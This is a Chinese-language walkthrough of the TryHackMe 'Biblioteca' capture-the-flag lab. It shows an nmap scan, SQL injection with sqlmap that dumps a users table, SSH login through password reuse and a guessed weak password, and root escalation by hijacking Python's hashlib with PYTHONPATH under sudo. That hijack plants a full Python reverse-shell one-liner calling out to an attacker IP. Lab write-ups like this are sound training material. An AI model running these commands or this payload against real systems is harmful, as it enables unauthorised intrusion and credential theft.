房间简介:
Shhh. Be very very quiet, no shouting inside the biblioteca.
房间链接:
https://tryhackme.com/room/biblioteca#
问题:
挑战开始:
首先扫描下目标IP
nmap -sC -sV 10.10.220.193
└─# nmap -sC -sV 10.10.220.193
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-08 05:40 UTC
Nmap scan report for ip-10-10-220-193.eu-west-1.compute.internal (10.10.220.193)
Host is up (0.0075s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 000bf9bf1d49a6c3fa9c5e08d16d8202 (RSA)
| 256 a10c8e5df07fa532b2eb2f7abfedbf3d (ECDSA)
|_ 256 9eefc90afce99eede32db130b65fd40b (ED25519)
8000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Login
MAC Address: 02:19:F7:E0:58:6B (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
可以看到开放了两个端口,访问下8000
发现是一个登陆口
尝试了下弱口令,提示账号/密码错误
看了下下面有注册的地方,注册一个号
注册了一个账号test/test
尝试登陆
但是并没有发现什么有用的信息,cookie之类的也都无法越权
于是退出登陆,打开burp登陆时抓包
貌似存在注入,所以保存数据包丢sqlmap跑了下
成功跑出注入
sqlmap -r test.txt --current-db
成功找出当前库website
sqlmap -r test.txt -D website --tables
只有一个表users
sqlmap -r test.txt -D website -T users --dump
直接爆库,成功获取用户信息
尝试用第一个用户登陆
额,一样的界面,没啥发现,尝试密码复用SSH
成功ssh,发现flag在另一个用户目录下,且没有权限读取
这里看了半天,没找到好提权的方法,看来还是先得想办法获取另一个用户的密码
这里首先想到的是密码复用,但是没成功,然后想的是弱口令–还真成功了–
hazel用户的密码就是它本身
成功找到user flag
接着开始尝试提权,首先先看下同一目录下的另一个文件
但是好像和提权没啥关系
尝试sudo -l
发现可以免密root权限执行python运行这个脚本
那重新看下这个py脚本,发现天调用了本地的一个库
那么我们可以修改本地环境变量来触发恶意脚本
首先我们复制hashlib.py到tmp下
cp /usr/lib/python3.8/hashlib.py /tmp/hashlib.py
接着把一下代码加入hashlib.py中
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.141.145",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
接着本地做好监听
nc -lvnp 1234
最后更改环境变量并sudo执行
sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/hazel/hasher.py
成功收到shell
成功获取root flag